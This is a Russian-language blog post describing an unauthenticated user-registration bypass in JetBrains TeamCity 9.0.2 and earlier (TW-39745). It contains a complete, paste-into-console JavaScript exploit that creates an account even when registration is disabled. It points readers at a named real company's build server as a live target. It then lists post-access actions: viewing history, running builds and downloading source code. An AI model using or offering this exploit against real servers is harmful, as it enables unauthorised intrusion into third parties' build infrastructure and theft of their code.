КомандаГород, или посторонним вход разрешен
Всем привет. Сегодня я хочу рассказать об одной уязвимости в TeamCity от JetBrains, весть о которой прошла почти не замеченной и осталась в тени. Что, как мне кажется, довольно странно, учитывая проблемы, которые несет за собой эксплуатация этой уязвимости.
Для тех кого не интересует преамбула, можете мотать вниз поста, там все эксплоиты, блэкджеки и прочее.
Если очень кратко, то TeamCity — это серверная платформа для обеспечения непрерывной интеграции (билд-сервер). Написан на Java, широко используется как российскими, так и зарубежными разработчиками. Как сейчас помню, как я впервые наткнулся на уязвимость.
Шел холодный февральский вечер. Я, согреваясь чашкой кофе и usb-тапочками, проводил аудит одного проекта. На периметре крутились пара TeamCity. Один версии 8.0.2, другой — 9.0. В той версии, что по-младше, была включена регистрация пользователей. Я непременно поспешил этим воспользоваться. Но, к сожалению, сервер был тестовым, и там не нашлось никакой интересующей меня информации. На сервере с 9-ой версией, регистрация была отключена (не было кнопки Register new user). В этот момент я подумал: а что, если все равно попробовать зарегистрироваться, отправив POST-запрос на скрипт registerUserSubmit.html. И, к моему удивлению, это прокатило 😉 Зайдя под своим новоиспеченным юзером, я обнаружил кучу акутальных проектов — это была победа.
А вся проблема в том, что, скрипту, который регистрирует пользователей, глубоко неважно на то, что в конфиге TeamCity запрещена регистрация юзеров. И он с удовольствием создал для нас нового. Всё, до смешного, банально.
Теперь немного картинок и веселья.
В данный момент на дворе почти ноябрь 2015, но уязвимых TeamCity становится не особо меньше, даже на периметре очень крупных проектов постоянно встречаются версии с возможностью такой регистрации.
Возьмем, например, gismeteo. Билд-сервер обычно висит на отдельном поддомене, чаще всего это — tc, ci, teamcity, ci-tc. В нашем случае tc — http://tc.gismeteo.ru. Тут версия ну совсем старая (7.1.5), естественно она уязвима. И чтобы её проэксплуатировать вам нужен только валидный publicKey. Получить его очень просто, можно просто перейти на страницу авторизации, вызвать инструменты разработчика (F12 в хроме), перейти на вкладку консоль и вбить publicKey.value и получаем наш ключ:
Далее этим ключем шифруется пароль, который вы введете в форме регистрации. Раньше я просто копировал форму для регистрации и заменял форм авторизации на главной на неё. Но мне надоели эти лишние телодвижения и я набросал небольшой сплоит на JS. Вставляете его во всю ту же консоль JS в браузере и, если все проло успешно, то вас перекинет на страницу просмотре всех проектов. Если нет, то браузер выдаст причину неудачной регистрации:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | var login = 'testuser'; //логин пользователя var password = 'SuperMEgaPa$$';//пароль var email = 'testusername654@mailinater.com';//мыло /* Code */ var b = BS.LoginForm; var public_key = $F("publicKey"); var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey")); var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass; var c = OO.extend(BS.ErrorsAwareListener, { onDuplicateAccountError: function(b) { alert(b.firstChild.nodeValue); }, onMaxNumberOfUserAccountsReachedError: function(b) { alert(b.firstChild.nodeValue); }, onCreateUserError: function(b) { alert(b.firstChild.nodeValue); }, onCompleteSave: function(c, d, b) { BS.ErrorsAwareListener.onCompleteSave(c, d, b); if (!b) { BS.XMLResponse.processRedirect(d); } } }); BS.ajaxRequest("registerUserSubmit.html", { method: "post", parameters: parameters, onComplete: function(i) { if (!i.responseXML) { alert(i.responseText); } else { var h = i.responseXML; var e = BS.XMLResponse.processErrors(h, c); console.log(i.responseText); c.onCompleteSave(b, h, e, i.responseText); } }, onFailure: function(i) { console.log(i); }, onException: function(i, h) { console.log(i); } }); |
После использования скрипта, нас перекидывает на страницу со списком всем проектов:
Теперь можно смотреть историю изменений, запускать сборку и коммит новых версий. Так же через Artifacts можно скачивать исходники (зависит от настроек).
Баг присутсвует в TeamCity версии 9.0.2 и более ранних. Ссылка на официальный багтрекер TeamCity — https://youtrack.jetbrains.com/issue/TW-39745.
Чуть раньше в том же январе 2015 этот баг обнаружил OJ Reeves, кому интересно можете прочитать его статью (англ.). Он же отправил отчет в JetBrains, за что ему огромное спасибо.
На этом все, если ваша компания до сих использует старую версию билд-сервера, то поспешите обновиться на актуальную версию продукта.